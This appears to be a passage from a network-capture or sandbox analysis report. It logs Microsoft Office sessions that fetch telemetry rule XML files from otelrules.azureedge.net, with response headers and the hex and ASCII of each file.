2024-11-12 01:14:17 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:17 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ebffffee-b01e-005c-69a0-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011417Z-17df447cdb5zfhrmhC1DFWh3300000000b5g00000000hbzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:17 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:17 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:18 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f8aeeb5f-a01e-0032-4aa0-341949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011417Z-15869dbbcc6pfq2ghC1DFWh2wg00000000p0000000009xey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:18 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:17 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: b51813c1-401e-002a-5f12-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011417Z-16547b76f7fx6rhxhC1DFW76kg0000000etg00000000s0cw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:18 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:18 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011418Z-16547b76f7fknvdnhC1DFWxnys0000000ex000000000kppx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:18 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:18 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:18 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e37edb83-201e-0003-04a0-34f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011418Z-17df447cdb56j5xmhC1DFWn9180000000bd0000000008ubg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:18 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:18 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:18 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011418Z-16547b76f7fcjqqhhC1DFWrrrc0000000exg000000009ywq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:18 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:18 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:18 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 96da997d-001e-0028-355d-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011418Z-16547b76f7fnlcwwhC1DFWz6gw0000000f1g00000000b2gw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:18 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:18 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:18 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:18 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011418Z-16547b76f7fr4g8xhC1DFW9cqc0000000e0000000000qgmh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:18 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:19 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:19 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b0821c67-a01e-0050-16a0-34db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011419Z-17df447cdb5fh5hghC1DFWam0400000008c0000000003hwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:19 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:19 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: a8f55147-f01e-003f-7fa0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011419Z-15869dbbcc6qwghvhC1DFWssds0000000cb000000000397b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:19 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:19 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:19 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: ce92c93d-101e-008e-6ea0-34cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011419Z-15869dbbcc6r45wghC1DFWk35n00000002200000000090n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:19 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:19 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:20 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:19 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 96a37377-501e-008f-1ba0-349054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011419Z-15869dbbcc6lq2lzhC1DFWs1sn00000000xg00000000qzsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
